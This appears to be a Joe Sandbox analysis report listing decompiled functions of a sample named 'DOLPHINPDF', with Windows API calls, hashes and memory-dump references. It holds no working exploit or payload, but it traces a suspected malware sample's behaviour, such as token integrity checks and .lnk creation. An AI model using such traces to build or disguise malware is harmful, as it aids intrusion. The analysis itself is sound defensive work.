String ID:
API String ID: 3382505437-0
Opcode ID: 4be46a5657df34b5a9fbfde62ad0f7fa0be7a67de3b578cbfcb45a94b179e243
Instruction ID: dd2f1a5d1d88d42ac7e66254a4844d081c2cc33d8870dc4122a187ce02c99fff
Opcode Fuzzy Hash: 4be46a5657df34b5a9fbfde62ad0f7fa0be7a67de3b578cbfcb45a94b179e243
Instruction Fuzzy Hash: F731BC71500319EBDB14CF68D949AAE7BB6FB04315F10822AF965EA2D0C7B09954DBA0

Function 000DB6AF Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 000DB6C7
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 000DB6E4
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 000DB71C
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 000DB742
_wcsstr.LIBCMT ref: 000DB74C

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 82dc2ca92c74d175f5140a39d15c0850565d5531d3df0bf16754285da7ed63a5
Instruction ID: 7f6a4819cba839e0b7da9bdc46c582fe43ff02173a97a7839e39379b4294c3ad
Opcode Fuzzy Hash: 82dc2ca92c74d175f5140a39d15c0850565d5531d3df0bf16754285da7ed63a5
Instruction Fuzzy Hash: 5021C571208304FBEB255B799C49EBB7B98DF4A760F01403EF805CA2A1EFA1DC419660

Function 0010B405 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00082612: GetWindowLongW.USER32(?,000000EB), ref: 00082623

GetWindowLongW.USER32(?,000000F0), ref: 0010B44C
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0010B471
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0010B489
GetSystemMetrics.USER32(00000004), ref: 0010B4B2
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,000F1184,00000000), ref: 0010B4D0

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 10c0bdb0006a12fcc80b5707e8241cb753ff6afdd9b3cea55fd82d70c9b4bc64
Instruction ID: dbd670663ec2b6e67c2f079f73207c9b9851477fee73815bc82f0ff9c6aac11c
Opcode Fuzzy Hash: 10c0bdb0006a12fcc80b5707e8241cb753ff6afdd9b3cea55fd82d70c9b4bc64
Instruction Fuzzy Hash: CF21A371518215AFCB249F38CC84A6A37A4FB05724F114738F9A7D35E2E7B09A51DB80

Function 000D97E9 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 000D9802

Part of subcall function 00087D2C: _memmove.LIBCMT ref: 00087D66

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 000D9834
__itow.LIBCMT ref: 000D984C
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 000D9874
__itow.LIBCMT ref: 000D9885

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 9df3b5d553b948d4b92292feff0467d068d0258baf2fabfb15e2ee67144b1837
Instruction ID: ffa1db310dd5e456bbaec3a2ef9ff871ce3553553048c79d62b69bf2cb38d542
Opcode Fuzzy Hash: 9df3b5d553b948d4b92292feff0467d068d0258baf2fabfb15e2ee67144b1837
Instruction Fuzzy Hash: 7B21D0717003046BDB20AB658C86EEE7BA9EF4AB14F14002AFD45D7351DA71DD4197A1

Function 000812F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 0008134D
SelectObject.GDI32(?,00000000), ref: 0008135C
BeginPath.GDI32(?), ref: 00081373
SelectObject.GDI32(?,00000000), ref: 0008139C

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 05d1cf612214c7bb9830d46069082ed74492a3240382fbbd84d5b83a0a60ebcd
Instruction ID: 5727d57bacbba4f68b15a84f49bf4c8b498f5dc5449db12bb2b5f5a6aeca42b8
Opcode Fuzzy Hash: 05d1cf612214c7bb9830d46069082ed74492a3240382fbbd84d5b83a0a60ebcd
Instruction Fuzzy Hash: E2219274800309EFDB20AF25DC057A93BF9FF02326F144229F494969B0D7B199D2CB91

Function 000DC161 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 000DC176
_memcmp.LIBCMT ref: 000DC194
_memcmp.LIBCMT ref: 000DC1A7
_memcmp.LIBCMT ref: 000DC1BF
_memcmp.LIBCMT ref: 000DC1D7

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: ce61870a1c2c439405c727c46c72839e4e87fabea8ea84e29828d878631dec09
Instruction ID: a11971df17e31c8174fb8e4e24faec809f4df842b0a7540b7ea90a2fffc22aad
Opcode Fuzzy Hash: ce61870a1c2c439405c727c46c72839e4e87fabea8ea84e29828d878631dec09
Instruction Fuzzy Hash: DE016DB56043267AE218A6209C42FEB639C9F23394F044122FD04D6383E7609E21C2F4

Function 000E4D35 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000E4D5C
__beginthreadex.LIBCMT ref: 000E4D7A
MessageBoxW.USER32(?,?,?,?), ref: 000E4D8F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 000E4DA5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 000E4DAC

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: def1715d844e3ada06f8db88e80b8185f437526c9a9dac68c81a597c12e8472e
Instruction ID: f051c625ef6c7e684dff9177e5d3ab2f52d4e5631e5a5063d57487fea22682aa
Opcode Fuzzy Hash: def1715d844e3ada06f8db88e80b8185f437526c9a9dac68c81a597c12e8472e
Instruction Fuzzy Hash: 0C114876908248BFC7108FA89C48EDA7FACEB46324F144369F914E3660C6B18C8087A1

Function 000D874A Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 000D8766
GetLastError.KERNEL32(?,000D822A,?,?,?), ref: 000D8770
GetProcessHeap.KERNEL32(00000008,?,?,000D822A,?,?,?), ref: 000D877F
HeapAlloc.KERNEL32(00000000,?,000D822A,?,?,?), ref: 000D8786
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 000D879D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 9bf00779cec5561fe589e9a00a642c2375374f4df857d1e97dfddadb9c1abd95
Instruction ID: 77f12c13bde2fb63caa7f381d9e2499869c390065373057c3c2a9995db6d06be
Opcode Fuzzy Hash: 9bf00779cec5561fe589e9a00a642c2375374f4df857d1e97dfddadb9c1abd95
Instruction Fuzzy Hash: D4014B71604308EFDB244FA6DC89D6B7BACFF89355720442AF889C2660DA72DC41CB70

Function 000E54E6 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 000E5502
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 000E5510
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 000E5518
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 000E5522
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 000E555E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 7d403f22e0e4b961dd7227bec3f497631920b4288c7b4164b232c8edee5526af
Instruction ID: 2689f5938fa36e2b70bd3c575bb4035a690559faf9ae28fc1773ab877301c6a7
Opcode Fuzzy Hash: 7d403f22e0e4b961dd7227bec3f497631920b4288c7b4164b232c8edee5526af
Instruction Fuzzy Hash: F2016D32D00A1DDBCF20EFE9EC996EDBB79FB09706F40045AE841B2940DB709590C7A1

Function 000D7652 Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000D758C,80070057,?,?,?,000D799D), ref: 000D766F
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000D758C,80070057,?,?), ref: 000D768A
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000D758C,80070057,?,?), ref: 000D7698
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000D758C,80070057,?), ref: 000D76A8
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000D758C,80070057,?,?), ref: 000D76B4

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: a49b8a006c099b94e2daf111fcebe2ead577993c411f345b2084ff1a8617a094
Instruction ID: 946888ba908951c7b676c826ee64edf7cc40c0e3773c4acedba8d4e6f9a7a097
Opcode Fuzzy Hash: a49b8a006c099b94e2daf111fcebe2ead577993c411f345b2084ff1a8617a094
Instruction Fuzzy Hash: 6D01B172600704ABDB208F18DC05AAA7BECEB44751F10802AFD08D2721F771DD41C7B0

Function 000D85F1 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 000D8608
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 000D8612
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 000D8621
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 000D8628
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 000D863E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: cd95446f55c46630a69ce3bdbadcb73091ba9a8b280e623090d98412539a547d
Instruction ID: d7527e8ec19724fedb06dd569dadcc310a5330e5740f4a3db29580608101054f
Opcode Fuzzy Hash: cd95446f55c46630a69ce3bdbadcb73091ba9a8b280e623090d98412539a547d
Instruction Fuzzy Hash: 15F04435205304AFD7200FA9DC8AE6B3BADFF49764B10442AF545C6650CBB1DC82DB70

Function 000D8652 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 000D8669
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 000D8673
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 000D8682
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 000D8689
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 000D869F

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: afc0d14b94cd0bcb2214a9fc7a1f1f9c633b15b7e3596c087dd30a5a28edd761
Instruction ID: db7f6af5b6531a782a8f5f84a911a553f9276636d875e01085c62778fced8062
Opcode Fuzzy Hash: afc0d14b94cd0bcb2214a9fc7a1f1f9c633b15b7e3596c087dd30a5a28edd761
Instruction Fuzzy Hash: 34F04F75200304BFEB251FA5EC89E673BADFF89764B10402AF985D7650CAB1D982DB70

Function 000DC6A6 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 000DC6BA
GetWindowTextW.USER32(00000000,?,00000100), ref: 000DC6D1
MessageBeep.USER32(00000000), ref: 000DC6E9
KillTimer.USER32(?,0000040A), ref: 000DC705
EndDialog.USER32(?,00000001), ref: 000DC71F

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 9070b2a640674f48dd32adc14ce572fdb361f2b20e5566cd07729f97b3eaadde
Instruction ID: a05ccf900234157d6bb9758845a6a4006fe1849862a0e9291e9c837393750dc8
Opcode Fuzzy Hash: 9070b2a640674f48dd32adc14ce572fdb361f2b20e5566cd07729f97b3eaadde
Instruction Fuzzy Hash: 65014F30504705ABEB315B20ED4EF9677B8BF04705F04066EB586A19E1DBE1A995CB90

Function 000813B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 000813BF
StrokeAndFillPath.GDI32(?,?,000BBAD8,00000000,?), ref: 000813DB
SelectObject.GDI32(?,00000000), ref: 000813EE
DeleteObject.GDI32 ref: 00081401
StrokePath.GDI32(?), ref: 0008141C

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 81784f6e2a3c0acee074835109afd8007050006f5cce6738835bf67547fb6a2b
Instruction ID: 26c14115e227eaee602860caa77dd320e7cd708489cd9865d2f419683b927ab5
Opcode Fuzzy Hash: 81784f6e2a3c0acee074835109afd8007050006f5cce6738835bf67547fb6a2b
Instruction Fuzzy Hash: 49F0C974004309EBDB626F26EC0D7983BA9BB0232AF04C228F4A945CF1C77549D6DF51

Function 00092E5B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 000A0FF6: std::exception::exception.LIBCMT ref: 000A102C
Part of subcall function 000A0FF6: __CxxThrowException@8.LIBCMT ref: 000A1041

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

Part of subcall function 00087BB1: _memmove.LIBCMT ref: 00087C0B

__swprintf.LIBCMT ref: 0009302D

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00092EC6

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 44771b40d2c86d1024bce8cee22440838081e7151d3fcc914c251c63a14e8f54
Instruction ID: b6b37345379a1d6e8a7a21d3d114db0d6d10ed2d0939b78f8a4bac7f6f89b343
Opcode Fuzzy Hash: 44771b40d2c86d1024bce8cee22440838081e7151d3fcc914c251c63a14e8f54
Instruction Fuzzy Hash: 79918931108201AFCB28FF24D895DAEB7E4FF85740F04092DF4969B2A2DB61EE45DB52

Function 000EBBA6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 000848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,000848A1,?,?,000837C0,?), ref: 000848CE

CoInitialize.OLE32(00000000), ref: 000EBC26
CoCreateInstance.OLE32(00112D6C,00000000,00000001,00112BDC,?), ref: 000EBC3F
CoUninitialize.OLE32 ref: 000EBC5C

Part of subcall function 00089997: __itow.LIBCMT ref: 000899C2
Part of subcall function 00089997: __swprintf.LIBCMT ref: 00089A0C

Strings

.lnk, xrefs: 000EBC08, 000EBC16

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 9ee212a5eb89e7eaa0dedc3ef221517b39dac3a7fcab4f779fa9a3d0c60a51e5
Instruction ID: 79962b1258da8b06eeab2069dae0a9fb5c6ef83cf1a9ff62fc04b3e21d4e09c2
Opcode Fuzzy Hash: 9ee212a5eb89e7eaa0dedc3ef221517b39dac3a7fcab4f779fa9a3d0c60a51e5
Instruction Fuzzy Hash: CAA147756043419FCB14EF15C884DAABBE5FF88314F148998F899AB362CB31ED45CB91

Function 000A524D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 000A52DD

Part of subcall function 000B0340: __87except.LIBCMT ref: 000B037B

Strings

pow, xrefs: 000A52B5, 000A52D2

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 2dd01006ebef2e21081920391999d029b2de9bcdeb338c8639b8a7e1de9a8288
Instruction ID: 6d5a0bafc82378f99a738f75865088954e30ece5abe73d7d71c1080a1ce71bfd
Opcode Fuzzy Hash: 2dd01006ebef2e21081920391999d029b2de9bcdeb338c8639b8a7e1de9a8288
Instruction Fuzzy Hash: 06519C61A0DA0187CB647754CE413FF2BD4FB42752F208D68E0C5416E6EF748DD49B46

Function 000A023B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

#, xrefs: 000A0280
+, xrefs: 000A0277

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
